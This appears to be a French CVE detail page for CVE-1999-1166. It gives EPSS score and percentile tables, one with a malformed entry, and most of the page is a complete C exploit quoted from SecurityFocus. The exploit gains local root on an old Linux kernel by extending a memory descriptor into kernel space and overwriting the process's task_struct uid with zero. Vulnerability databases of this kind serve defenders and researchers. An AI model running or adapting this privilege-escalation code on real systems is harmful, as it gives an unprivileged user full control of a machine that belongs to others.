CVE-1999-1166 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.13%
2025-03-30	–	–	–	–	0.16%
2025-04-15	–	–	–	–	0.16%
2025-04-15	–	–	–	–	0.16,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	31%
2025-03-30	34%
2025-04-15	38%
2025-04-15	38%

/* source: https://www.securityfocus.com/bid/523/info This vulnerability has to do with the division of the address space between a user process and the kernel. Because of a bug, if you select a non-standard memory configuration, sometimes user level processes may be given access upto 252Mb of memory that are really part of the kernel. This allows the process to first search for its memory descriptor and then extend it to cover the rest of the kernel memory. It can then search for a task_struct and modify it so its uid is zero (root). This vulnerability is very obscure, only works on that version of linux, and only if you select a non-standard memory configuration. The exploit (local root, can be extended to also reset securelevel; will only compile with libc 5, you'd have to rip task_struct out of <linux/sched.h> for compiling with glibc): */ #define __KERNEL__ #include <linux/sched.h> #undef __KERNEL__ #include <unistd.h> #include <grp.h> #include <stdio.h> #include <signal.h> #include <sys/resource.h> void die1() { puts("\nFailed: probably not vulnerable"); exit(1); } void die2() { puts("\nVulnerable, but failed to exploit"); exit(1); } int main() { int *sp = (int *)&sp; int *d = sp; struct task_struct *task = (struct task_struct *)sp; int pid, uid; struct rlimit old, new; setbuf(stdout, NULL); printf("Searching for the descriptor... "); signal(SIGSEGV, die1); while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 && (d[2] & 0xFFF0FFFF) != 0x00C0F300) d++; signal(SIGSEGV, die2); printf("found at %p\nExtending its limit... ", d + 2); d[2] |= 0xF0000; printf("done\nSearching for task_struct... "); pid = getpid(); uid = getuid(); if (getrlimit(RLIMIT_FSIZE, &old)) { perror("getrlimit"); return 1; } search: new = old; new.rlim_cur--; if (setrlimit(RLIMIT_FSIZE, &new)) new.rlim_cur = old.rlim_cur; do { ((int *)task)++; } while (task->pid != pid || task->uid != uid); if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search; if (setrlimit(RLIMIT_FSIZE, &old)) { perror("setrlimit"); return 1; } if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search; printf("found at %p\nPatching the UID... ", task); task->uid = 0; setuid(0); setgid(0); setgroups(0, NULL); puts("done"); execl("/usr/bin/id", "id", NULL); return 1; }